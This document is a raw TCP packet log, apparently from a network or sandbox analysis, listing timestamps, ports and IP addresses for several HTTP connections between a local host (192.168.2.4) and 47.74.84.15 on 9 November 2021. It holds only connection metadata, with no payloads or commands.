Nov 9, 2021 22:21:26.603888035 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.603895903 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603918076 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.603924036 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.603980064 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.904417038 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904483080 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904534101 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904586077 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904622078 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.904638052 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904690981 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904730082 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.904743910 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904797077 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904805899 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.904880047 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904887915 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.904947042 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.904998064 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905019999 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.905050039 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905102015 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905153990 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905178070 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.905205965 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905255079 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.905260086 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905312061 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905350924 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905401945 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905416012 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:26.905452967 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:26.905544996 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.206734896 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206777096 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206808090 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206836939 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206866980 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206896067 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206895113 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.206923962 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206954956 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.206985950 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207003117 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207015991 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207045078 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207046986 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207067013 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207077026 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207108021 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207139969 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207154989 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207170963 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207201004 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207221031 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207231045 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207262039 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207287073 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207293987 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207323074 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207339048 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207353115 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207385063 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207416058 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207421064 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207444906 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207462072 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207475901 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207506895 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207537889 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207540035 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207566977 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207576990 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207597971 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207628012 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207637072 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207659006 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207689047 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207717896 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207719088 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207750082 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207762003 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207779884 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207809925 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207832098 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207839966 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207869053 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207874060 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.207891941 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.207911015 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.208010912 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.508569002 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508764029 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508781910 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508800983 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508817911 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508835077 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508835077 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.508862972 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508881092 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508883953 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.508889914 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.508897066 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508913994 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508929968 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508936882 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.508948088 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508965969 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508970976 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.508982897 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.508996010 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.508999109 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509016037 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509032965 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509032965 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509047985 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509064913 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509064913 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509084940 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509098053 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509103060 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509120941 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509136915 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509138107 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509155035 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509171963 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509175062 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509190083 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509206057 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509206057 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509222031 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509238958 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509243011 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509255886 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509272099 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509273052 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509289026 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509305954 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509310007 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509321928 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509337902 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509354115 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509355068 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509370089 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509370089 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509387970 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509402990 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509404898 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509421110 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509437084 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509437084 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509453058 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509469032 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509470940 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509485006 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509501934 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509501934 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509519100 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509535074 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509536028 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509551048 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.509568930 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.509608030 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.811208010 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811285973 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811342001 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811398983 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811451912 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811491013 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.811506033 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811562061 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811613083 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811645985 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.811666965 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811718941 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811752081 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.811790943 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811845064 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811852932 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.811901093 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.811953068 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.811954975 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812011957 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812066078 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812072039 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812122107 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812172890 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812175989 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812232018 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812287092 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812289000 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812340021 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812391996 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812392950 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812448025 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812498093 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812513113 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812552929 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812607050 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812612057 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812660933 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812696934 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812716961 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812771082 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812825918 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812829018 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812918901 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.812927008 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.812988997 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813043118 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813083887 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813112020 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813168049 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813194990 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813221931 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813282013 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813302040 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813337088 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813395023 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813411951 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813452959 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813508034 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813532114 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813565016 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813621044 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813640118 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813679934 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813740015 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813757896 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813795090 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813852072 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813878059 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:27.813910007 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:27.813999891 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.114702940 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.114773035 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.114814997 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.114854097 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.114860058 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.114892006 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.114907026 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.114931107 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.114969969 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115010977 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115014076 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115051985 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115091085 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115125895 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115130901 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115170002 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115170956 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115209103 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115245104 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115272999 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115315914 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115331888 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115358114 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115391016 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115420103 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115444899 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115459919 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115483046 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115499973 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115539074 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115560055 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115577936 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115614891 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115639925 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115653038 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115690947 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115719080 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115731001 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115772009 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115792036 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115808964 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115848064 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115881920 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115885019 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115922928 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.115938902 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.115962982 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116003036 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116019011 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.116034985 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116074085 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116095066 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.116111040 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116148949 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116168976 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.116187096 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116226912 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116257906 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.116281033 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116317987 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116347075 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.116355896 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116394997 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116410971 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.116444111 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116463900 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116494894 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116524935 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116553068 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.116607904 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.116657019 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.417152882 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.417186975 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.417208910 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.417231083 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.417253971 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.417263985 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.417284966 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.417305946 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:28.417325020 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.417373896 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.417629004 CET	49835	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:28.718854904 CET	80	49835	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:30.183414936 CET	49837	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:30.487229109 CET	80	49837	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:30.487406015 CET	49837	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:30.487577915 CET	49837	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:30.487618923 CET	49837	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:30.791368961 CET	80	49837	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:30.791419029 CET	80	49837	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:31.471678972 CET	80	49837	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:31.471721888 CET	80	49837	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:31.471817017 CET	49837	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:31.471956015 CET	49837	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:31.499624014 CET	49838	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:31.775434971 CET	80	49837	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:31.800812960 CET	80	49838	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:31.801013947 CET	49838	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:31.801101923 CET	49838	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:31.801189899 CET	49838	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:32.101396084 CET	80	49838	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:32.782610893 CET	80	49838	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:32.782668114 CET	80	49838	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:32.782768965 CET	49838	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:32.782936096 CET	49838	80	192.168.2.4	47.74.84.15
